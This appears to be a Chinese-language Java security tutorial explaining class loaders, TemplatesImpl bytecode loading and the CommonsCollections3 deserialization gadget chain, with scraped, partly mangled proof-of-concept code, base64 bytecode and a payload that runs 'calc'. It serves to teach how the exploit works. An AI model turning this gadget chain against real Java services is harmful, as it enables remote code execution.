本文最后更新于:2023年9月9日 晚上
                  
                
              
            
            
              
                
                [TOC]
【java安全】类加载器&CommonsCollections3 前言 前面我们学习了CommonsCollections1等等cc链,这里我们学习第三条链子CommonsCollctions3,这里需要用到TemplatesImpl类,由于这个类会使用到一些类加载器中相关的知识,所以我们需要先学习一些类加载器知识
java类加载器 
我们知道,java是跨平台的语言,首先在不同的平台,如:windows、macOS等系统编写源代码,然后通过各自的编译器,编译成字节码class文件,字节码通过类加载器的加载,加载到JVM虚拟机中,可以在不同的平台运行,实现了跨平台特性
 
ClassLoader是一个加载器,告诉JVM虚拟机如何加载Class文件,java默认的ClassLoader是根据类名来加载类的,例如:java.lang.Runtime
这里我们先来介绍一下URLClassLoader
URLClassLoader URLClassLoader是java中的一个类加载器,它支持从指定URL中加载字节码文件
URLClassLoader是我们平时默认使用的类加载器AppClassLoader的父类,所以我们解释URLClassLoader其实就是就是AppClassLoaderjava默认类加载器的工作流程
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
 
我们可以使用一个简单的例子来说明URLClassLoader的作用
我们构造一个Hello类,构造函数中输出一句话:
1 2 3 4 5 public  class  Hello  {public  Hello ()  {"hello~classLoader~" );
编译之后,将class文件放入:http://localhost/下:
我们观察一下URLClassLoader类的构造:
1 2 3 4 5 6 public  static  URLClassLoader newInstance (final  URL[] urls,                                              final  ClassLoader parent)  {return  ucl;
然后写一个Test方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  java.net.URL;import  java.net.URLClassLoader;public  class  LoaderTest  {public  static  void  main (String[] args)  throws  Exception {new  URL []{new  URL ("http://127.0.0.1/" )};URLClassLoader  loader  =  URLClassLoader.newInstance(urls);"Hello" );
上述代码将URL数组传递给URLClassLoader,代表该类加载器要从指定的URLhttp://127.0.0.1/中去加载指定的类Hello,使用loadClass()方法加载Hello类,然后调用newInstance()方法实例化对象,此时会调用Hello类中的构造方法,输出字符串:
成功请求到了远程服务器的Hello.class文件,并且执行了里面的字节码
所以如果我们能控制ClassLoader的路径为服务器,就可以远程加载字节码文件来执行代码了
利用ClassLoader#defineClass()直接加载字节码 上面我们使用了URLClassLoader远程加载class文件,其实java加载字节码文件主要分为三个阶段:
ClassLoader#loadClass() 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass()ClassLoader#findClass() 是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClassClassLoader#defineClass() 作用是处理前面传入的字节码,将其处理成真正的Java类 
可以看到defineClass()方法是最重要的,将字节码转为java类
1 2 3 4 5 protected  final  Class<?> defineClass(String name, byte [] b, int  off, int  len)throws  ClassFormatErrorreturn  defineClass(name, b, off, len, null );
defineClass()使用protected权限修饰,我们可以使用反射调用
参数:name是要调用类的名字,b是要调用Class序列化的字节数组,off是从字节数组的第几个开始,len是长度
我们写一个测试方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import  java.lang.reflect.Method;import  java.util.Base64;public  class  HelloDefineClass  {public  static  void  main (String[] args)  throws  Exception {Method  defineClass  =  ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class);true );byte [] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM" );Class  hello  =  (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code, 0 , code.length);
defineClass被调用的时候返回的是Class,所以不会初始化类对象,我们需要手动调用newInstance()实例化
使用TemplatesImpl加载字节码 我们在反序列化链中,不可能直接使用defineClass()方法,但是我们可以使用TemplatesImpl类最终调用到defineClass()
TemplatesImpl类位于:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在这个类中有一个内部类:TransletClassLoader 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static  final  class  TransletClassLoader  extends  ClassLoader  {private  final  Map<String,Class> _loadedExternalExtensionFunctions;super (parent);null ;super (parent);public  Class<?> loadClass(String name) throws  ClassNotFoundException {null ;if  (_loadedExternalExtensionFunctions != null ) {if  (ret == null ) {super .loadClass(name);return  ret;defineClass (final  byte [] b)  {return  defineClass(null , b, 0 , b.length);
我们看到这个类TransletClassLoader 是默认权限的,所以能被外部访问,并且重写了defineClass()方法
我们可以逐步追溯TransletClassLoader#defineClass()方法的链:
1 2 3 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
追溯到方法TemplatesImpl#newTransformer() 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  synchronized  Transformer newTransformer () throws  TransformerConfigurationExceptionnew  TransformerImpl (getTransletInstance(), _outputProperties,if  (_uriResolver != null ) {if  (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {true );return  transformer;
我们尝试构造一下poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  java.lang.reflect.Field;import  java.util.Base64;public  class  TemplatesImplDemo  {public  static  void  main (String[] args)  throws  Exception {byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=" );TemplatesImpl  obj  =  new  TemplatesImpl ();"_bytecodes" , new  byte [][] {code});"_name" , "HelloTemplatesImpl" );"_tfactory" , new  TransformerFactoryImpl ());public  static  void  setFieldValue (Object obj,String fieldName,Object value)  throws  Exception {Field  field  =  obj.getClass().getDeclaredField(fieldName);true );
此处的 setFieldValue()函数是用来设置TemplatesImpl的属性的,
_bytecodes是由字节码组成的数组
_name是任意字符串,只要不为空即可,否则执行到getTransletInstance()函数中会返回null
此外我们也要保证_tfactory为TransformerFactoryImpl对象,否则为null在调用getExternalExtensionsMap()会报错:
TemplatesImpl中字节码实现AbstractTranslet类 需要注意的是,TemplatesImpl类对加载的字节码是有要求的,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类的子类
所以我们构造一个特殊的类,继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类
我们执行一下,得到结果:
总结一下:TemplatesImpl 是一个可以加载字节码的类,通过调用newTransformer()方法,可以执行这段字节码的类构造方法
构造未完成POC 那么我们如何利用这个特性来执行任意代码呢?
我们可以结合之前我们学习的CommonCollections来构造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  org.apache.commons.collections.Transformer;import  java.lang.reflect.Field;import  java.util.Base64;import  java.util.HashMap;import  java.util.Map;public  class  CommonsCollectionsIntro3  {public  static  void  setFieldValue (Object obj, String fieldName, Object             value)  throws  Exception {Field  field  =  obj.getClass().getDeclaredField(fieldName);true );public  static  void  main (String[] args)  throws  Exception {byte [] code ="yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=" );TemplatesImpl  obj  =  new  TemplatesImpl ();"_bytecodes" , new  byte [][] {code});"_name" , "HelloTemplatesImpl" );"_tfactory" , new  TransformerFactoryImpl ());new  Transformer []{new  ConstantTransformer (obj),new  InvokerTransformer ("newTransformer" , null , null )Transformer  transformerChain  =  new ChainedTransformer (transformers);Map  innerMap  =  new  HashMap ();Map  outerMap  =  TransformedMap.decorate(innerMap, null ,"test" , "xxxx" );
我们将构造的TemplatesImpl对象传入Transformer数组的第一个元素ConstantTransformer对象构造方法的参数中,然后第二个元素InvokerTransformer构造方法传入newTransformer表示调用该方法,由于该函数没有形参,所以其他位置填入null
当TransformedMap执行put方法时,链式调用ChainedTransformer对象的transform()方法,从而触发newTransformer()方法
成功执行字节码
你以为这就完了吗?没有
在一个反序列化过滤工具:SerialKiller中InvokerTransformer被过滤了:
我们就不能使用cc1这种依靠InvokerTransformer类的链子了
CommonsCollections3中使用了一种新的类:TrAXFilter
位于:com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 
1 2 3 4 5 6 7 8 public  TrAXFilter (Templates templates)   throws new  TransformerHandlerImpl (_transformer);
TrAXFilter类的构造方法调用了templates变量的newTransformer()方法,所以我们可以使用TrAXFilter类来封装一下TemplatesImpl对象
由于我们缺少了InvokerTransformer类,所以我们无法调用TrAXFilter构造方法
这时我们又要用到一个新的类InstantiateTransformer
位于:org.apache.commons.collections.functors.InstantiateTransformer
1 2 3 4 5 6 7 8 9 10 11 public  Object transform (Object input)  {try  {if  (!(input instanceof  Class)) {throw  new  FunctorException ("InstantiateTransformer: Input object was not an instanceof Class, it was a "  + (input == null  ? "null object"  : input.getClass().getName()));else  {Constructor  con  =  ((Class)input).getConstructor(this .iParamTypes);return  con.newInstance(this .iArgs);
InstantiateTransformer类的transform()方法调用了形参的构造方法
InstantiateTransformer构造方法如下:
1 2 3 4 public  InstantiateTransformer (Class[] paramTypes, Object[] args)  {this .iParamTypes = paramTypes;this .iArgs = args;
所以我们Transformer调用链如下:
1 2 3 4 5 6 Transformer[] transformers = new  Transformer []{new  ConstantTransformer (TrAXFilter.class),new  InstantiateTransformer (new  Class [] { Templates.class },new  Object [] { obj })
避免使用了InvokerTransformer
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InstantiateTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  javax.xml.transform.Templates;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.util.Base64;import  java.util.HashMap;import  java.util.Map;public  class  cc3  {public  static  void  setFieldValue (Object obj, String fieldName, Object             value)  throws  Exception {Field  field  =  obj.getClass().getDeclaredField(fieldName);true );public  static  void  main (String[] args)  throws  Exception {byte [] code ="yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=" );TemplatesImpl  obj  =  new  TemplatesImpl ();"_bytecodes" , new  byte [][] {code});"_name" , "ExecTest" );"_tfactory" , new  TransformerFactoryImpl ());new  Transformer []{};new  Transformer []{new  ConstantTransformer (TrAXFilter.class),new  InstantiateTransformer (new  Class [] { Templates.class },new  Object [] { obj })Transformer  chainedTransformer  =  new  ChainedTransformer (fakeTransformer);Map  uselessMap  =  new  HashMap ();Map  lazyMap  =  LazyMap.decorate(uselessMap,chainedTransformer);TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (lazyMap,"leekos" );Map  hashMap  =  new  HashMap ();"test" );Field  iTransformers  =  ChainedTransformer.class.getDeclaredField("iTransformers" );true );ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();ObjectOutputStream  oos  =  new  ObjectOutputStream (baos);ByteArrayInputStream  bais  =  new  ByteArrayInputStream (baos.toByteArray());ObjectInputStream  ois  =  new  ObjectInputStream (bais);
运行弹计算器
ExecTest类的源码:(注意TemplatesImpl传入的字节数组要继承AbstractTranslet类)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;public  class  ExecTest  extends  AbstractTranslet  { @Override public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {@Override public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {public  ExecTest () {try  {"calc" );catch  (Exception e) {
我们将其编译一下,然后将class使用base64编码:
(需要注意kali中base64命令会自动换行,-w 0 参数防止换行)
1 cat  ExecTest.class | base64  -w 0 > 1.txt
调用链 1 2 3 4 5 6 7 HashMap#readObjct()